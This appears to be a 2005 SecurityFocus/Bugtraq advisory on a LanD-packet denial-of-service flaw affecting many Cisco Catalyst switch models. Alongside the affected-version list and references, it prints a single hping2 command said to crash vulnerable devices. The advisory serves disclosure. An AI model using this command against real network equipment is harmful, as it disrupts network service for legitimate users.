Multiple Unspecified Cisco Catalyst Switches LanD Packet Denial Of Service Vulnerability

Bugtraq ID:	15864
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	No
Published:	Dec 14 2005 12:00AM
Updated:	Dec 14 2005 12:00AM
Credit:	Justin M. Wray <[email protected]> is credited with the discovery of this issue.
Vulnerable:	Cisco Catalyst 8540MSR Cisco Catalyst 8540CSR Cisco Catalyst 8510MSR Cisco Catalyst 8510CSR Cisco Catalyst 8500 Cisco Catalyst 7600 3.1 (1a)WS-X6380-NAM Cisco Catalyst 7600 3.1 (1a)WS-SVC-NAM-2 Cisco Catalyst 7600 3.1 (1a)WS-SVC-NAM-1 Cisco Catalyst 7600 2.2 (1a)WS-SVC-NAM-2 Cisco Catalyst 7600 2.2 (1a)WS-SVC-NAM-1 Cisco Catalyst 7600 2.1 (2)WS-X6380-NAM Cisco Catalyst 7600 Sup720/MSFC3 Cisco Catalyst 7600 Sup2/MSFC2 Cisco Catalyst 6624 Cisco Catalyst 6608 Cisco Catalyst 6509 7.6 (2) Cisco Catalyst 6509 6.2 (3) Cisco Catalyst 6509 6.1 (1d) Cisco Catalyst 6500 7.6 (1) Cisco Catalyst 6500 7.5 (1) Cisco Catalyst 6500 5.4.1 Cisco Catalyst 6500 3.1 (1a)WS-X6380-NAM Cisco Catalyst 6500 3.1 (1a)WS-SVC-NAM-2 Cisco Catalyst 6500 3.1 (1a)WS-SVC-NAM-1 Cisco Catalyst 6500 2.2 (1a)WS-SVC-NAM-2 Cisco Catalyst 6500 2.2 (1a)WS-SVC-NAM-1 Cisco Catalyst 6500 2.1 (2)WS-X6380-NAM Cisco Catalyst 6500 Cisco Catalyst 6000 7.6 (1) Cisco Catalyst 6000 7.5 (1) Cisco Catalyst 6000 7.1 (2) Cisco Catalyst 6000 7.1 Cisco Catalyst 6000 6.3 (4) Cisco Catalyst 6000 6.3 (0.7)PAN Cisco Catalyst 6000 6.2 (0.111) Cisco Catalyst 6000 6.2 (0.110) Cisco Catalyst 6000 6.1 (2.13) Cisco Catalyst 6000 6.1 (1c) Cisco Catalyst 6000 6.1 (1b) Cisco Catalyst 6000 6.1 (1a) Cisco Catalyst 6000 6.1 (1) Cisco Catalyst 6000 5.5 (4b) Cisco Catalyst 6000 5.5 (4a) Cisco Catalyst 6000 5.5 (4) Cisco Catalyst 6000 5.5 (3) Cisco Catalyst 6000 5.5 (2) Cisco Catalyst 6000 5.5 (13) Cisco Catalyst 6000 5.5 (1) Cisco Catalyst 6000 5.5 Cisco Catalyst 6000 5.4.1 Cisco Catalyst 6000 5.4 (4) Cisco Catalyst 6000 5.4 (3) Cisco Catalyst 6000 5.4 (2) Cisco Catalyst 6000 5.4 (1) Cisco Catalyst 6000 5.4 Cisco Catalyst 6000 5.3 (6)CSX Cisco Catalyst 6000 5.3 (5a)CSX Cisco Catalyst 6000 5.3 (5)CSX Cisco Catalyst 6000 5.3 (4)CSX Cisco Catalyst 6000 5.3 (3)CSX Cisco Catalyst 6000 5.3 (2)CSX Cisco Catalyst 6000 5.3 (1a)CSX Cisco Catalyst 6000 5.3 (1)CSX Cisco Catalyst 6000 3.1 (1a)WS-X6380-NAM Cisco Catalyst 6000 3.1 (1a)WS-SVC-NAM-2 Cisco Catalyst 6000 3.1 (1a)WS-SVC-NAM-1 Cisco Catalyst 6000 2.2 (1a)WS-SVC-NAM-2 Cisco Catalyst 6000 2.2 (1a)WS-SVC-NAM-1 Cisco Catalyst 6000 2.1 (2)WS-X6380-NAM Cisco Catalyst 6000 Sup720/MSFC3 Cisco Catalyst 6000 Sup2/MSFC2 Cisco Catalyst 5509 Cisco Catalyst 5505 5.5 (19) Cisco Catalyst 5505 Cisco Catalyst 5500 6.4 (4a) Cisco Catalyst 5500 5.4.1 Cisco Catalyst 5000 6.3 (4) Cisco Catalyst 5000 6.1 (3) Cisco Catalyst 5000 6.1 (2) Cisco Catalyst 5000 6.1 (1c) Cisco Catalyst 5000 6.1 (1b) Cisco Catalyst 5000 6.1 (1a) Cisco Catalyst 5000 6.1 (1) Cisco Catalyst 5000 5.5 (7) Cisco Catalyst 5000 5.5 (6) Cisco Catalyst 5000 5.5 (4b) Cisco Catalyst 5000 5.5 (4) Cisco Catalyst 5000 5.5 (3) Cisco Catalyst 5000 5.5 (2) Cisco Catalyst 5000 5.5 (13) Cisco Catalyst 5000 5.5 (1) Cisco Catalyst 5000 5.4.1 Cisco Catalyst 5000 5.4 (4) Cisco Catalyst 5000 5.4 (3) Cisco Catalyst 5000 5.4 (2) Cisco Catalyst 5000 5.4 (1) Cisco Catalyst 5000 5.2 (4) Cisco Catalyst 5000 5.2 (3) Cisco Catalyst 5000 5.2 (2) Cisco Catalyst 5000 5.2 (1) Cisco Catalyst 5000 5.2 Cisco Catalyst 5000 5.1 (2a) Cisco Catalyst 5000 5.1 (1) Cisco Catalyst 5000 5.1 Cisco Catalyst 5000 4.5 (9) Cisco Catalyst 5000 4.5 (8) Cisco Catalyst 5000 4.5 (7) Cisco Catalyst 5000 4.5 (6) Cisco Catalyst 5000 4.5 (5) Cisco Catalyst 5000 4.5 (4b) Cisco Catalyst 5000 4.5 (4) Cisco Catalyst 5000 4.5 (3) Cisco Catalyst 5000 4.5 (2) Cisco Catalyst 5000 4.5 (13a) Cisco Catalyst 5000 4.5 (12) Cisco Catalyst 5000 4.5 (11) Cisco Catalyst 5000 4.5 (10) Cisco Catalyst 5000 Cisco Catalyst 4948 Cisco Catalyst 4912G Cisco Catalyst 4908G-l3 Cisco Catalyst 4840G Cisco Catalyst 4800 Cisco Catalyst 4510R Cisco Catalyst 4507R Cisco Catalyst 4506 Cisco Catalyst 4503 Cisco Catalyst 4500 Sup2plus TS Cisco Catalyst 4500 Cisco Catalyst 4232-13 Cisco Catalyst 4232 Cisco Catalyst 4224 Access Gateway Switch Cisco Catalyst 4200 Cisco Catalyst 4006 7.2 (2) Cisco Catalyst 4006 6.3 (5) Cisco Catalyst 4000 7.6 (1) Cisco Catalyst 4000 7.5 (1) Cisco Catalyst 4000 7.1.2 Cisco Catalyst 4000 7.1 (2) Cisco Catalyst 4000 7.1 Cisco Catalyst 4000 6.3.5 Cisco Catalyst 4000 6.3 (4) Cisco Catalyst 4000 6.1 (1c) Cisco Catalyst 4000 6.1 (1b) Cisco Catalyst 4000 6.1 (1a) Cisco Catalyst 4000 6.1 (1) Cisco Catalyst 4000 5.5.5 Cisco Catalyst 4000 5.5 (4b) Cisco Catalyst 4000 5.5 (4) Cisco Catalyst 4000 5.5 (3) Cisco Catalyst 4000 5.5 (2) Cisco Catalyst 4000 5.5 (13) Cisco Catalyst 4000 5.5 (1) Cisco Catalyst 4000 5.5 Cisco Catalyst 4000 5.4.1 Cisco Catalyst 4000 5.4 (3) Cisco Catalyst 4000 5.4 (2) Cisco Catalyst 4000 5.4 (1) Cisco Catalyst 4000 5.4 Cisco Catalyst 4000 5.2 (7) Cisco Catalyst 4000 5.2 (6) Cisco Catalyst 4000 5.2 (5) Cisco Catalyst 4000 5.2 (4) Cisco Catalyst 4000 5.2 (2) Cisco Catalyst 4000 5.2 (1a) Cisco Catalyst 4000 5.2 (1) Cisco Catalyst 4000 5.2 Cisco Catalyst 4000 5.1 (2a) Cisco Catalyst 4000 5.1 (1a) Cisco Catalyst 4000 5.1 (1) Cisco Catalyst 4000 5.1 Cisco Catalyst 4000 4.5 (9) Cisco Catalyst 4000 4.5 (8) Cisco Catalyst 4000 4.5 (7) Cisco Catalyst 4000 4.5 (6) Cisco Catalyst 4000 4.5 (5) Cisco Catalyst 4000 4.5 (4b) Cisco Catalyst 4000 4.5 (4) Cisco Catalyst 4000 4.5 (3) Cisco Catalyst 4000 4.5 (2) Cisco Catalyst 4000 4.5 (10) Cisco Catalyst 4000 Sup5 Cisco Catalyst 4000 Sup4 Cisco Catalyst 4000 Sup3 Cisco Catalyst 4000 Sup2plus Cisco Catalyst 4000 Cisco Catalyst 3920 3.0 (7) Cisco Catalyst 3900 Cisco Catalyst 3750 Metro Cisco Catalyst 3750 Cisco Catalyst 3560 Cisco Catalyst 3550 Cisco Catalyst 3500 XL Cisco Catalyst 3500 12.0 (5.2)XU Cisco Catalyst 3200 Cisco Catalyst 3000 Cisco Catalyst 2970 Cisco Catalyst 2955 Cisco Catalyst 2950 LRE Cisco Catalyst 2950 Cisco Catalyst 2948G-l3 Cisco Catalyst 2948G-GE-TX Cisco Catalyst 2948G Cisco Catalyst 2948 Cisco Catalyst 2940 Cisco Catalyst 2926T Cisco Catalyst 2926GS Cisco Catalyst 2926GL Cisco Catalyst 2926F Cisco Catalyst 2926 Cisco Catalyst 2920 Cisco Catalyst 2902 Cisco Catalyst 2901 Cisco Catalyst 2900 XL Cisco Catalyst 2900 LRE XL Cisco Catalyst 2900 12.0 (5.2)XU Cisco Catalyst 2900 11.2 (8.2)SA6 Cisco Catalyst 2900 6.1 (3) Cisco Catalyst 2900 6.1 (2) Cisco Catalyst 2900 5.5 (7) Cisco Catalyst 2900 5.5 (6) Cisco Catalyst 2900 4.5 (12) Cisco Catalyst 2900 4.5 (11) Cisco Catalyst 2900 Cisco Catalyst 2820 9.0 0.07 Cisco Catalyst 2820 Cisco Catalyst 2800 Cisco Catalyst 1900 9.0 0.07 Cisco Catalyst 1900 Cisco Catalyst 1200 Cisco Catalyst 4.5 (10) Cisco Catalyst WS-C2924M-XL Cisco Catalyst Sup3 Cisco Catalyst Sup2plus Cisco Catalyst 3500 XL Cisco Catalyst 2980G-A Cisco Catalyst 2980G
Not Vulnerable:

Multiple Unspecified Cisco Catalyst Switches LanD Packet Denial Of Service Vulnerability

Multiple unspecified Cisco Catalyst switches are prone to a denial of service vulnerability.

These devices are susceptible to a remote denial of service vulnerability when handling TCP 'LanD' packets.

This issue allows remote attackers to crash affected devices, or to temporarily block further network routing functionality. This will deny further network services to legitimate users.

As no specific Cisco devices were identified by the reporter of this issue, all Cisco Catalyst devices have been marked as vulnerable. This BID will be updated as further information on affected packages is available.

Multiple Unspecified Cisco Catalyst Switches LanD Packet Denial Of Service Vulnerability

No exploit is required.

The following Hping2 command is sufficient to crash affected devices. The IP addresses must both be configured on the targeted device:

hping2 -A -S -P -U 1.2.3.4 -s 80 -p 80 -a 192.168.1.1

Multiple Unspecified Cisco Catalyst Switches LanD Packet Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Multiple Unspecified Cisco Catalyst Switches LanD Packet Denial Of Service Vulnerability

References:

• Cisco Call Manager Express (Cisco Systems)
  
• Cisco Catalyst 3500 Product Homepage (Cisco Systems)
  
• Cisco Product Security Advisories and Notices (Cisco Systems)
  
• RLA ("Remote LanD Attack") (Synister Syntax )